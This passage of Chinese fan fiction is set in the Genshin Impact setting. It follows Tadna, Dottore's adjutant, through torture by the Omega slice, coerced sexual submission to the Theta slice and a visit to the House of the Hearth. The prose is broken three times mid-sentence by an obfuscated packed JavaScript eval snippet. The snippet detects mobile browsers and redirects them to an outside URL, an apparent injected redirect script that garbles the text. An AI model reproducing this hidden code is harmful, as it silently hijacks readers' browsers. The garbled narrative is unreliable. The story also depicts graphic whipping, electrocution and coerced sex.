“您现在在我的手中,其他执行官估计还在严正以待,等待您自投罗网吧。冒犯【博士】大人者,需要付出的代价,当然是由鄙人来收回。” “你擅作主张,就不怕之后被问责吗?” “‘问责’?” 匕首平稳地朝着更里面推进一分,红发青年屏住呼吸。 我笑道:“就如您所说,我与【博士】大人关系匪常,只要【博士】大人松口,我如何会被‘问责’呢?更何况,即使将您交付给列位执行官,恐怕您的下场也并不会好上多少,如此,不如……” 就在下一刻,我感受到一阵滚烫的火焰冲天而起,束缚带根根断裂的声音接连响起,手腕一痛,匕首瞬间脱手,不知道如何脱离了束缚的青年钳制住我的肩膀,伸腿将我绊倒在地,匕首调转方向扎进我的右肩。 疼痛蔓延,我闷哼了一声。 外面响起骚动,我听到普卢科惊恐的声音。 “大人……副官大人,您怎么了?来人,快来人抓住这家伙!” 青年轻啧了一声,不再顾念,火焰更加汹涌,逼退所有人,矫捷的青年如同鹰一般窜出去。 “大人!” 我被扶了起来,右肩上匕首插得很深,还在不断地冒血。 “大人,您没事吧?” 我摇了摇头,推开普卢科。 “去通知【博士】大人。”我说。 “可是,现在人手不足,如果分出人手去找【博士】大人的话,这边,可能没办法抓住那个人……” “你们不是他的对手。”我打断普卢科的话语,语气变得稍微强硬。“快去!” “是。” 等到普卢科离开后,我才扶着地面爬起来,肩膀上的伤口随着这样的动作加深。 如此,应该就可以了吧。迪卢克会按照我事先分配好的兵力分布逃往北方,在那里,如无意外,他会遇到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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最自私,最傲慢的Omega切片,即使是和他的“本体”,也就是多托雷,这位切片也不会有过多的认同,只是保持着基本的尊敬。 而对于我…… “我早就说过,感情会影响理性的判断,看来,即使是‘本体’,也会犯这种基本的错误。” 肩上的钳制更加用力,我能感受到伤口被拉扯的疼痛。 “大人……我,我没有……” 大脑在喧叫着逃离。我很清楚自己不是Omega切片的对手,也很难糊弄过去Omega切片。 对了,如果是Omega切片就能解释清楚了。 计划之外的切片,并且拥有能短时间压制抓捕迪卢克的实力。 如果是Omega切片的话…… 他或许,不,是肯定,不会对我有多余的纵容。 身体被压制在墙壁上,下一秒,右肩上的匕首被握住。 “塔德纳,你无法蒙蔽任何一位切片,但无论是‘本体’,还是大部分的其他‘切片’,都会因为那些可笑的感情纵容你的一些小动作。可是,很可惜,我不是他们之中的任何一位。” 匕首被Omega切片往更深的地方捅去,那原本已经愈合了一半的伤口被残暴地撕开,我疼得几乎支撑不住自己的身体,身体向下滑去的时候,匕首也会割开皮肉。 Omega切片故意将锋利的那面朝上摆放。 于是我只能颤颤巍巍地扶着墙壁,不让自己再往下滑。 “大人,我知道错了,求您,求您放过我……”声音因为疼痛不住地颤抖。 下颌被用力掐住,Omega切片将我的后脑勺用力按在墙上固定住,随即,匕首在右肩旋转起来。 “呜……疼……” “记住这种疼痛。‘本体’暂时将你的管理权放给了我,在‘本体’回来之前,或许你应该好好学习一下身为‘副官’的行为准则。” 耳边警告的声音带着强烈的训诫的意味。 “毕竟,我对你的耐心基本为零,虽然无法杀掉你,但作为违逆的处罚,我会让你生不如死。” “识相一点,塔德纳。失去价值的‘狗’可不会再被允许活下去。” 53.第 53 章 “腰背挺直,手指不要捏得这么紧,也不要放在身后。”Omega切片严厉的声音传来。 我站在泛着冷气的实验室里,周围的人都被屏退了,如今这里只剩下我和Omega切片两个人。而Omega切片特意如此做的目的,是为了所谓的“训诫”。 衣服被要求脱得只剩下内里的单衣,身体因为寒冷而肌肉紧绷,因为这样可以有效地抑制身体的颤抖,防止被Omega挑错。 不允许抬头,不允许思考,要像一条真正的“狗”一样,在命令发出的一瞬间反应过来并完美执行,稍有差错,迎接我的便是毫不留情的“处罚”。 Omega切片在我的身边慢悠悠地踱步,金属鞋跟敲击在地面的声音是我能听到的唯一的声源,而因为不允许抬头的缘故,我只能看见反映着些许那道身影的影子,对不知道何时会出现的下一道命令的不安让我忍不住咽了口口水。 咕—— 即使动作已经被刻意放轻,但在空荡的实验室还是显得分外明显。 啪—— 鞭子发出破空的声音,毫不留情地落在背上。 “呜……” 我被打得踉跄一步,后背顷刻麻了一半,随即,细密的疼痛蔓延,身体止不住地颤抖。 “我说过了,没我的命令,不准发出任何声音,也不准有任何的动作。” 下一鞭接连而至,Omega冷酷的声音也随之响起。 “摆好你的动作,塔德纳,我的时间很宝贵,如果你还学不会要怎么端正自己的行为的话,我会换一种更严酷的惩罚,而不是这种轻飘飘的鞭挞,知道吗?” 轻飘飘…… 我回了一声“是”,压着喉间的声音才能勉强不让自己发出痛呼。 后背因为那两鞭一抽一抽地疼,衣服粘在皮肤上,随着呼吸的浮动摩擦着肿胀的伤口,带来难以忽视的痛。 似乎出血了。 我能感受到后背的布料似乎带着点濡湿,除了血迹,我想不出其他的原因。 Omega说的“轻飘飘”大概只是按照他自身的实力来讲的吧,毕竟Omega切片是多托雷所有切片中实力最强劲的一位,我曾有幸见过Omega切片出手的样子,传言中“愚人众执行官前三席都有着能够匹敌神明的力量”这句话,绝无半分虚假。 按照他的力量,若是真用了十成十的力道,我怕是要被从中间劈成两截。 正这样想着,Omega切片的声音出现在头顶。 “你在想什么?” 身体一瞬间僵硬。我的大脑一片空白。 “没有,我……” 下颌碰触上皮鞭,我被迫抬起头与Omega对视。 “你确实很难管教。因为‘本体’的命令,我不能做出伤害你的事情,只是这样的惩罚,很快就会在你体内的能量下修复。” Omega伸手,在我耳边轻轻抚摸了一下。 垂落的饰品因为他的动作而轻微摇晃。 Omega说:“‘本体’大概已经完全放弃驯服你了,而那些年轻的切片,他们因为一些荒谬的记忆对你也生出那样可笑的感情,以至于,让你变得毫无敬畏之心,既不忠诚,也无出色的能力。” 我的心里闪过不好的预感。 就像是印证心里的那道预感一般,耳垂上,那支如今已极少被启动的耳饰发出刺耳的“嘀嘀”声,下一刻,剧烈的电流从耳饰上散发出来,瞬间贯穿全身,强度比起很久之前体验过的那次要强上数十倍。 身体在强烈的疼痛之后,开始出现大范围的麻痹,我不知道自己是何时摔倒在地上的,只能痛苦地蜷缩着身躯,呼吸如同被火焰灼烧一般,眼前因为呼吸困难而出现大片的黑斑。 “呃啊……” 好疼…… “我用了最接近你身体极限的电流,强度大概等同于你‘无视自由时间后72小时’的电流强度吧,作为对你今天差劲的表现的一点小惩罚。” 大脑无法思考,甚至连身边的声音也变得断断续续。 “你从未在我身边做过事,今天的训诫算是一次体验,让你知道我的行事风格。我不喜欢身边的‘狗’有不乖的行径,现在,听好我的命令,塔德纳。” 电流被骤然一下关闭,我颤抖地抱着自己的身体,Omega的声音便如同落雷一般在我的耳边炸响。 “跪好,塔德纳。” 我下意识地撑着地面将自己的身体摆成端正跪下的动作。无论是手臂还是双腿,现在其实都是麻木的状态,驱使我动作的完全是对刚才的痛苦的心有余悸,以及—— 内心蓬勃的恐惧感。 Omega与多托雷,与其他切片,甚至是因为特殊的时间点而愤恨我的赞迪克都不同。 这一点认知比以往任何时候都要清晰。 Omega切片不会对我手下留情,如果不是因为身体里的力量和多托雷的要求,他是真的…… 会杀了我! 而就算是因为诸多限制不能就地裁决我的性命,Omega切片也绝无将我当作一个“人”来看待的打算。 在他的眼里,我只是一条“狗”。 不,或许连“狗”都算不上。 无论是出于陪伴的心理需求还是其他更实用的目的,“养狗”这一行为的最终结果都会带来一定的正面效益。 但我,按照Omega的说法,弱小而不忠诚,连“做狗”的机会都是一种“特别开恩的施舍”。 后背挺直,双手垂放在身侧,不可弯曲手指,更不可按在地面。 头要以45度角地下,呼吸不可过重,没有命令不可以动作,更不可以插话。 这是Omega切片提出的要求。 我在心中默念着这一系列要求,不敢有丝毫的违背。 “看来对你的惩戒只要足够,你也能够学会一点东西。”Omega切片的声音带上一点满意。 我维持着这样的动作,双腿逐渐恢复知觉,单薄的布料根本没办法阻隔地板上的寒气,以至于跪在地上的膝盖又冷又硬。 但我不敢有任何的动作,甚至因为Omega之前的训斥,连多余的思考也不敢有。 就如同被冰雪冻僵的植物一般。 实验室的大门传来打开的声音。 “我没在外面看见士兵。不是说好今天做实验吗,要不是我发现门没锁,我还以为你不在。”少年似乎看到了什么,顿了一下,语气急转直下。 “【博士】,你这是在干什么?” Omega轻声回答:“只是在训狗而已。你来的比我预计得要早,斯卡拉姆奇。” 人偶没有理会那后半句话。 “那是塔德纳?我记得他现在不是应该在枫丹跟着那个家伙在一起吗,怎么会在你这里?” “看来你对我和‘本体’倒是分得很清,只是,信息未免稍微有点落后。” “啧,什么意思?” “最近有一位‘不速之客’闯入至冬,那人实力强劲,造成了许多损失。你刚从深渊回来可能不太清楚,最近,多位执行官联合势力要一起抓捕犯人,塔德纳也是因为这件事被派遣回来的。” 繁杂的铃声响起,那是人偶宽大的帽子上面的装饰碰撞响起的。 斯卡拉姆奇停在我的身边。 “哦?这样,那结果如何?” 我轻轻一抖。 Omega似乎看到了我的动作,他轻笑了一声,下一刻,耳垂上传来熟悉的电流,只是强度要小得多,但足够让我一般的身体都陷入麻痹的状态。 我咬着牙,尽力不让自己发出声音,连身体也不敢有丝毫的动作。 Omega没事人般回答:“还没抓住。” “真是好笑。”斯卡拉姆奇轻嗤,“这么多执行官,连个小逃犯都抓不到。” Omega:“我并不参与此次的行动,你的这句嘲讽,或许送给你身边的人比较合适。” 斯卡拉姆奇噎了一下。 “所以你才要在这里,用这种方式对待塔德纳?连执行官都做不到的事情,跟他一个副官有什么关系?” “或许吧。”Omega语气深邃。 电流的强度被再次加强。 这一次,连呼吸也变得困难起来,如同被遏制住了咽喉。我勉力支撑着自己的身体,即使身体已经疼得快受不了了,但“害怕被Omega发现错处惩罚”的恐惧让我不敢有任何允许之外的动作。 “闲聊便到此为止吧。”Omega切片说,“我已经准备好了实验所需的东西,如果你没有其他需求的话,我们便开始吧。” “等等。” “怎么了?” 斯卡拉姆奇看向跪在地上,身体不住轻颤的青年,以及那垂落在身体两侧,关节发紫的手。 “我不习惯实验的时候有其他人在旁边,你不知道吗?” “我以为塔德纳在你这里会是个例外。” “哈?你在开什 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多托雷虽然如今更多地沉醉在自己的实验当中,但他并不会特别残暴地对待我。 或者说,在我听从他的话的时候,他依然还是会用温和亲近的态度对待我,即使偶尔违背他的命令,只要把控好度,不去触怒他,也能很轻易地取得纵容。 Omega说的不错,我确实是在多托雷身边被养得有点失去敬畏之心了。 但同时,我也很清楚,多托雷对我展现的纵容,同样也是对我的“控制”。 一味的粗暴虽然会让我恐惧,我会表现出“服从”,但也仅是因为恐惧而不得不妥协的“暂时性服从”。一旦拥有脱离的机会,我会毫不犹豫地执行计划逃离Omega切片。 但是,对于多托雷…… 我偶尔甚至会生出“即使这样与多托雷生活下去也不错”的想法。而对于多托雷的命令,无论是否真的符合道德意义上的正确,若无必要,我依然会竭尽全力地去执行。 Omega切片其实并不是唯一一个对我态度冷漠,甚至称得上是“残暴”的切片。在Theta切片之后,多托雷大约有两百年的时间未曾制作任何的切片,而在那之后诞生的切片,无一例外,对我的态度都很淡漠。 他们更多的会选择离开至冬追寻自己的目的,比起这样扭曲而无用的情感,“实验”和“世界的真相”更加吸引他们。 我曾多少也为这样的事情感到些许庆幸,毕竟,单单只是在多托雷和其余三四位切片之间周旋便已经让我感到分身乏术,更何况,他们大部分都会向我索取“身体上的服侍”,很多时候,我不得不面对多位“多托雷”一起的场面。 这样的事情暂且不谈。 Omega对我的敌意和冷漠已经远远超出了我的预期。 如果…… 如果多托雷在的话就好了…… 心里忍不住浮现起这样的想法,但又很快被我慌张地否认。 身体的疼痛似乎越来越明显了,加上身体只覆着一层单薄的衣服,在最初的麻痹痛感之后,寒意席卷身体的里里外外,以至于疼痛又死灰复燃,且带着那点明知荒谬的可笑情感,愈烧得更烈。 我闭着眼睛,身体蜷缩得更加厉害,仿若一只蚕蛹。 脑袋挤在臂弯里,冻得通红的耳朵被遮住,于是那点踩着雪层响起的脚步声被忽略。 我的脑袋昏昏沉沉,疼痛和疲惫裹挟着睡意淹没上来,下一秒,一双带着温热体温的手扶着我的脸颊将我抬起来。 面前,身着执行官那件黑白大衣的男人蹲着身子,摘下的手套放在膝盖上。 被尖喙面具覆盖的脸上,嘴角显露的笑容温和。 “你怎么在这里?我刚从须弥回来,找了你很久。” 我愣住了,脑袋有点反应不过来,但嘴里的名字已经呢喃出去。 “Theta?” 身体被按压在明显温度偏高的怀抱里,冻僵的耳垂被亲吻着。 “你受了伤?抱歉,我来得有些晚,‘本体’本来准备让我接手你的,但是回至冬需要一点时间,‘本体’就暂且把你交给了权限最大的Omega。” 我放松身体,将自己的侧脸放在男人的胸口,任由自己被用力的双臂收紧得连呼吸都有些不顺畅。 “主人。”我意识迷蒙地恳求,“带我走吧,我好想你。” 54.第 54 章 与Theta切片的初次见面已经是很久很久之前的事了,因为难以接受他的纠缠,以及当初在他身边被在睡梦中玩弄的事情,我与他之间也发生了许多不愉快。 那场惊心动魄的“逃离”也正是在无限的压抑之下爆发的产物。 如今想来,当初的我或许对“伤害Theta切片”这件事也抱有一定的愧欠之心,以至于在Theta切片被修复之后,我开始慢慢接受他的存在。 多托雷说过,Theta切片是因为我而诞生的切片。 这句话的真假暂且不论。我的内心大概也是更加偏向“这件事是真的”的。 总之,我对Theta切片的态度开始软化,而除开刚被修复的那一天,Theta切片似乎完全恢复了之前对我的态度。 甚至更加温柔。 他会征求我的同意,虽然征求的同意往往是关于“是否可以用这种玩法”而不是“是否可以和我一起做这种事”。 他会听我说的话,要求他轻一点的话也会被纳入考虑。 他恢复了“模拟正常人心跳和体温”的习惯,因为我比较怕冷的缘故,他偶尔还会刻意将自己的体温调高,然后抱住我。 虽然沉湎于这样的温柔着实“有欠考量”,但被这样细致地对待,于我而言,Theta或许是唯一一位。 他大概只是觉得这样温柔的伪装更能接近我,我也很清楚,即使Theta切片真的经历过特殊的改造以至于对我情感特殊,但他依旧是多托雷的“一部分”。 但是,这样的温柔着实难以拒绝。 就算是多托雷,如今不也一样喜欢用这种“温柔”腐蚀我的内心吗? 他们或许都别有目的,但我也确实找不到“拒绝”的理由。 回归正题。 在那天之后,不知道用了什么办法,总之,Theta切片从Omega那里拿到了我的管理权,我不再需要担心自己的“生存问题”。 有关迪卢克的事情,我在那之后再一次参与了执行官的会议。因为彻底失去了迪卢克的行踪,加上其他执行官行程匆忙,这件事,也最终只是草草了结。 稍微出乎我意料的是,Omega切片竟然选择了将“我偷偷放走迪卢克”的事情隐而不报,于是,这件事落到明面上的便只剩下“多位执行官合力进行抓捕却连犯人的影子都被逮着”。 这样的结果甚至在小范围引起了一点波涛,但很快被平息。 结局虽然不尽人意,但事情也算是完结了。 多托雷不日将回到至冬,我也接手了实验素体的管理工作,不日,将会有一批从蒙德征召而来的实验体到达实验室。 我大概了解其中的阴暗龃龉,愚人众如今凭借着至冬国的势力在许多其他的国家强制召集适龄青年,美名其曰是“培养杰出才俊加入愚人众来维持两国的友好关系”,然而实际上,那些征募而来的人大多死在了暗无天日的实验室里。 多托雷大概最开始也是想要将这件事情交给我去办的,但我对此颇为抵触,便寻了由头推掉了这件事。 为此,我还不得不付出了一些额外的代价。 拒绝多托雷的后果总是难以承担。 在指挥实验室的人将这些实验素体押入分好类的房间后,我卷好手里的名单,准备去实验室找Theta切片。但扑了个空,询问其他人才知道Theta不久前离开了,大概是回了住所。 我只能调转方向去Theta的住所找他。 Theta切片的住处没有变过,即使当初发生了那样的事情,他也没有放弃这处住所,只是着人重建了外墙,那间地下室也被荒弃,牢牢地封锁住。 我不是很喜欢来这里。因为总会让我想起一些被关在这里时不好的记忆。 到达门口,虽然有钥匙,但我还是选择了先敲门。 叩叩—— 略显得沉闷的敲门声响起。很快,门被从里面打开。 Theta切片一身休闲服,脸上没有戴面具。 “你来了。”他笑意浓浓,红色的机械眼紧盯着我。 我低下头,避开他的视线。 “主人,实验素体已经全部接收完毕了,这里是所有的名单。” 我递出一直放在怀里现在还尚且温热的纸本。 Theta没有接,他甚至都没有看那名单一眼。他伸手,捏住我的手腕,手指顺势包裹我的手掌。 “你的手怎么这么冷?”Theta切片的语气带着点惊讶,他抓着我的手将我的身体往里带,另一只手扶着我的背往里推。 “快进来吧,我刚好升了壁炉,现在火正旺着,你先暖暖。” 我被带着坐到壁炉前的单人沙发上,手里的名单被抽出来扔在桌子上。 “想喝点什么吗?”Theta如是问我。 我本来想说“不用了”,话到嘴头又变了:“热水就可以,谢谢您。” 太冷了,身体都要被冻僵了,或许喝点热水会比较好。 我想着。 温暖的炉火映着我的脸,像柔软的绸缎,Theta惯坐的单人沙发也很柔软,只是稍微有点大,我靠在沙发背上,整个人感觉像是要陷下去了,无端生出一点困倦。 放轻的脚步声在背后踱过来,手里被塞进一个杯子,冒着热气。 “我给你热了一杯牛奶,喝一点吧。” “……谢谢。” 要求被无视了。其实我不太喜欢牛奶,但我早就做好了Theta切片会按自身喜欢给我安排东西的准备,所以也不算特别意外。 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976811|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端起杯子喝了一口,牛奶没放糖,加热之后带着点腥味。我顿了一下,仰头两三口喝完。 杯子被身后的Theta拿走,我感受到靠背轻轻一陷,Theta弯腰,扶着我的下颌吻了上来,却并没有进去,只是在唇面摩挲几下,伸出舌头将嘴角残余的牛奶卷走。 我乖乖地仰头,配合Theta的动作。 “真乖。”Theta离开,伸手在我头上摸了摸。 因为懒得搭理所以只是随性披散的半长头发被揉地翘了起来,Theta切片便伸手用手指将乱掉的头发捋顺压平。 他没有戴手套,与正常人类温度无二的手指从发缝间穿过,温暖而柔软。 过了一会儿,他开口:“Omega切片将你的事情告诉了‘本体’。” 轻缓的心因为这一句话被拉了起来,我有些僵硬地回复:“这样吗……我知道了。” Theta轻笑了一声。 “你不用担心。”他说,“Omega切片还控诉了我,说我对你太过纵容,容易让你养成不好的习惯。” 他的手指落在我的后颈,慢悠悠地揉捏着。 “Omega切片大概只是在表达不满吧,毕竟前脚‘本体’刚把管理权放给他,我就回来了,还横插一脚。他对我们这些切片总是不满。” “‘本体’大概不会理他的这些话,只是,你的事情……”Theta切片的语气拉长。 我有些僵硬。 多托雷懒得管Omega的事情,但他不一定会放过能让我不好过的机会。 Theta切片许是看出了我的紧张,手掌张大,将我整个后颈都围在手中,轻柔地抚摸着。 “不用这么害怕。”湿热的声音直往耳朵深处钻去,“你还有其他选择,塔德纳,我可以帮你掩过这件事情,只要,你讨好一下我。” 我没有选择。 虽然Theta切片花样玩得比较多,但比起多托雷,他确实对我更温柔,更宽纵。 更重要的是,我不清楚多托雷对这件事情是怎样一个态度,若是多托雷对这件事情生气的话,那么,“讨好Theta切片”确实是最划算的。 如此想着,我在心中做下决断。 膝盖跪在柔软的沙发上,我转过身子,手臂攀上Theta的肩头,将自己的身体送进去。 “主人。”我靠近Theta的耳边,声音压低,“求您。” 身体下一刻被抱着腾空而起,Theta的手臂卡在我的臀下,托着我的身体将我抱起来。 机械独眼微微闪烁。 “这可是你说的,这一次,我可不会轻易停下来。” “是,主人……” 我声音有些颤抖,忍不住在Theta的肩头轻轻闭上双眼。 55.第 55 章 壁炉之家,历代【仆人】管辖之下的组织,主要收留流浪的儿童并将其训练成愚人众的预备力,男性的孤儿会被赐名“雪奈茨维奇”,而女性,则是“雪奈茨芙娜”。 其总部位于枫丹的某处,但由于上任【仆人】死亡时发生的意外,那处总址已被抛弃,如今,壁炉之家的孩子大多数都被养在布法蒂公馆,位于枫丹廷的一角。 上任【仆人】,我记得大概是叫“库嘉维娜”。 那是一位性格残暴且虚伪的女人,但不可否认,她确实实力强大,能够稳坐执行官第四席的席位。我听说这一任的【仆人】是通过打败前任上位的,或许阿蕾奇诺的实力更甚前任。 我不是很喜欢那位前任【仆人】。她与多托雷合作密切,甚至主张制造争端来创造更多的“战争孤儿”,以为壁炉之家不断输送新的血液。 不过还好,愚人众内部并没有通过她的提议。 因为合作的缘故,我不得不与这位前任【仆人】打过几次交道。说实话,她对我的态度十分冷漠,我能感受到,她对我的轻视。 或许在她眼里,我连壁炉之家那些被淘汰的“废弃品”都不如。 “在【博士】身下摇尾乞怜的弱者”——这是大多数看我不惯的人对我的评价。 既是看不惯我在多托雷手下助纣为虐的行为,也是讥讽我以身体谋求上位者偏爱的作风。 我对此并不关心,就算偶尔听到也只是装作没听到的样子,快步离开。 连流言蜚语都算不上的舌根罢了。 至于到了这一任,新上任的【仆人】阿蕾奇诺…… “并不是‘新上任’,那已经是好几年前的事情了,你还记得吧?那时候是我和【散兵】,陪同统括官一起迎接的。”【女士】在我身边说道。 她手里拿着一些玩具和糖果之类的物什,都装在牛皮纸袋里。 我也抱着一袋,并不算很沉,稍落后【女士】半步并行着。 “至冬也有壁炉之家的分部,其实刚开始是以至冬这边的为总部的,不过后来壁炉之家的活动重心转移到了枫丹,所以这边的就降级成了分部。” “上上任的事情?我记得。” “这个你倒是记得清楚。” “因为那次主人让我去找【仆人】签最新敲定的合作协议,我大老远跑去枫丹才找到那位【仆人】大人。” “嗯,然后呢?” 我叹气:“被赶出去了。” 【女士】被逗笑了:“还能拿出来说笑,看来你对这种事情倒是接受良好。” “那么多任【仆人】,总会有讨厌主人的研究和主张的人。”我耸肩,或许是和【女士】在一起的时光实在是有些轻松,我忍不住笑了一声,半真半假地吐槽。 “主人估计也不想吃闭门羹,所以才把这种事情扔给我跑腿。” 【女士】也笑。 “你或许戳破了真相也说不定,塔德纳。啊,到了。” 我跟着【女士】,看门口的愚人众士兵恭敬地行礼,然后推开门伸手作出迎接的动作。 这毫无疑问是一座宏伟且颇有年代感的建筑,我甚至在墙角发现了被涂鸦上去的字迹和图案,笔法幼稚,大概是不知道什么时候被壁炉之家的孩子画上去的。 我抬头看了一眼头顶绘着花草的彩窗。 “你看起来很好奇,很少来这边吗?”【女士】在我身边问我。 “唔,很久之前经常来吧。”我搜刮着脑海里繁杂的记忆,“不过那大概是一百年前的事情了,您知道的,库嘉维娜大人并不喜欢我,那代的事务,后来都是其他【博士】大人亲手交涉谈拢的。至于阿蕾奇诺大人……” 我没有说完。 但【女士】已经明白了。 她心照不宣地笑:“听说狠狠地吃了一个闭门羹呢。” “还请不要再挖苦我了,【女士】大人。”我说。 “能在【博士】身边混的风生水起的人,会害怕我这点不入流的‘挖苦’?你可是‘传说级别’的副官呢。” “大人……” 我语气虚弱地回应。 我走在【女士】的右后方,从这个角度,能很清晰地看到壁炉之家的人对【女士】的反应,大多是恭敬的,还有一些高兴。当然,无论这些情绪是怎样的,等落到我身上的时候,都会变成冷漠和嫌恶。 壁炉之家的人都很看不惯【博士】的势力,我这个“知名鹰犬”自然是常年位居仇恨榜第二。 为什么不是第一? 因为第一是多托雷,并且遥遥领先。 我有些尴尬地低下头,伸手拽出兜帽戴上。 【女士】在一旁啧啧称奇:“真是了不得,这还是我第一次从这些人脸上看到这么冰冷的表情呢。也是跟着你体验了一次新奇的注目礼了。” “……这种时候真的还要打趣我吗?我可是被您拉着被迫来的,【女士】大人,您可要保证我的人身安全。” 【女士】:“哈哈,放心吧。我还以为你在【博士】身边大概已经早就习惯了这种人人喊打的感觉。” “这完全不一样吧。在壁炉之家是真的有被打的风险啊!” 我稍微往前加速走了两步,与【女士】挨得更近。好在戴上兜帽后,那如影随形的厌恶稍微减轻了几分。 总之,还是顺利到达了目的地——壁炉之家的活动室。休闲的时刻,壁炉之家的孩子们会汇聚在这里玩乐。 【女士】将手里的纸皮袋放在桌子上,“噔”地一声,于是活动室里面的一群小豆丁都往这边看过来。 密密麻麻的一群眼睛。 我有些不适地退远,并将头上的兜帽收得更紧。 一个稚嫩的女孩子的声音响起:“哇,是那个脾气不好的阿姨!她又来了!还带了一个奇怪的兜帽男。” “兜帽男”到底是什么鬼…… “给我讲点礼貌,小鬼。”【女士】插着腰,从牛皮袋里拿出糖果,“至冬最受欢迎的糖果,只送给讨我喜欢的小孩儿。” 小女孩飞速变脸:“漂亮的大姐姐!最喜欢漂亮大姐姐了,姐姐是世界上最漂亮的女人!” 其他孩子也哄闹起来,夸赞着【女士】,无论说了什么,有的时候甚至只是照搬前一个孩子的话,【女士】都照单全收,给每个夸她的孩子都发了糖果,表现出众的,还会有玩具。 我从未见过这种场合下的【女士】。 褪去愚人众执行官的身份,褪去“火之魔女”的称号,在一群稚龄的孩童之中,【女士】如同真正的,脾气有点坏的邻家姐姐一般。 虽然那张脸上挂着熟悉的倨傲笑容,但我能感觉到,【女士】或许真的很享受这样的一刻时光。 只作为“罗莎琳”的时光。 我有些出神地看着这一切,直到衣角被轻轻拽了一下。 我低头,看见是之前那个打头的小女孩。 “兜帽哥哥。”那双圆润的眼瞳望着我,“我想吃糖,兜帽哥哥。” 水灵的视线盯着我怀里的牛皮袋。 我一瞬间身体都僵硬了,像是被铁棒狠狠地敲中大脑,砸得我晕乎乎的,连天南海北都分不清楚。 我下意识地递过手里的袋子。 “都……都给你……” 小女孩的眼睛轻轻一亮,但很快被一双突然降临的手挡住。 【女士】从我手里拿走袋子。 “不要把东西全部给一个孩子,会让他们吵架的。” “是……”我声音颤抖。 【女士】这才好像终于发现了我的不寻常。 “哦呀,塔德纳,你的脸,怎么这么红?还有耳朵。” 她向我的耳朵伸出手,我下意识地低头偏转身体,灵活地转了半个圈。 “你不会是害羞了吧?塔德纳?”【女士】捂嘴笑起来。 “没……没有……” 我心虚地回答,两只手都伸出来,一左一右,将两边的耳朵挡得严严实实,似乎这样就不会被别人看出来了。 “我只是太热了,这里面,有点热,对的,太热了。”语无伦次,连自己都不知道自己说了些什么。 “好吧,好吧,这里面的确有点太热了。”【女士】笑着,紫色的双眼一眨不眨地看着羞得恨不得把自己裹成个蚕茧藏在墙角缝的青年。 她想了想,从袋子里拿出一把糖塞在小女孩手里,然后轻轻在后背推了一下。 “快去。”她怂恿着,“兜帽哥哥说他太热了,替他把头上的帽子摘下来散散热。摘下来了,我给你一个新玩具。” 我:“!” 【女士】大人!你背叛我! 我想要逃跑,但那双柔软的手拉住我的时候,我又陡然失去了逃跑的勇气。 房间里孩子太多了,而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982816|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么小的孩子,如果被我拉伤了怎么办? 我只能蹲下来,任由那双稚嫩的小胖手把我的兜帽摘下来。 黑色的布料从头顶滑落,那有些凌乱的金发便跳了出来。 不知道是不是错觉,摘下帽子后好像的确清凉了一些。 “兜帽哥哥长得真好看!” 耳边是清脆的童音。 【女士】:“再夸两句,兜帽哥哥高兴了以后和我一起来这里,你们就有两倍的糖果可以吃了。” 我无奈地抬头:“【女士】大人……还请不要这样……” 【女士】只是笑着冲我晃了晃手里的牛皮纸袋。 什么再来这里…… 这些孩子再长大些,知道了我的身份,估计也会和外面的人一样讨厌我吧。 门口传来响声,原本吵闹的孩群瞬间安静下来。 “父亲。” “父亲大人。” 【女士】也看过去。 “阿蕾奇诺?我还以为你今天不会过来。” 我默默戴回兜帽,从地上站起来,将自己藏在偏角落的位置。 阿蕾奇诺的视线似乎扫了过来。 我头低得更低,数着地板的砖缝。 阿蕾奇诺:“听说你来了,所以过来看一眼。你很久没来,孩子们也都很想念你。” “前段时间忙着抓人的事,最近刚得了空就来了。” “换个地方聊天吧,我们在这里,孩子们总显得拘束。” “好啊。”【女士】很轻快地答应了,她转头,“塔德纳,别呆站在那里,一起来吧。” 除开【女士】的视线,另一道更有压迫力的视线落在我的身上。 我僵了一下。 “是。” 从活动室出来,我跟着两位执行官一起进了另一处房间,应该是会客室,甫一进门,便看见年纪不大的一男一女端上茶放在桌子上。 少年是一头白发,红黑的衣着,头上……那是魔术帽吗?而另一边的少女,服装风格差不多,只是黑蓝的配色,唯一显得与众不同的,便是头上的猫耳和身后的尾巴。 我曾见过这样的例子,大概也是生物学中的一种现象。 阿蕾奇诺和【女士】落座两边,我正在纠结站在哪里比较好,便看见阿蕾奇诺朝我看了过来,那双内含斜十字的眼瞳威严十足。 她向我伸手:“你也坐。” 带着一点冷漠,我恍惚觉得阿蕾奇诺说的不是“坐”,而是让我哪儿凉快哪儿待着去。 【女士】笑着站起来,把我拉过去压在椅子上。 “我带过来的人,可不许你欺负。” 阿蕾奇诺淡淡回复:“并没有。【博士】手下最得力,最信任,也最亲近的副官塔德纳,我怎敢怠慢?” 我抿唇。 在坐下的那一刻,一直端着茶杯的手在我面前落下。我抬头,是那位少年。 “谢谢。”我轻声说。 少年朝我轻轻一笑。 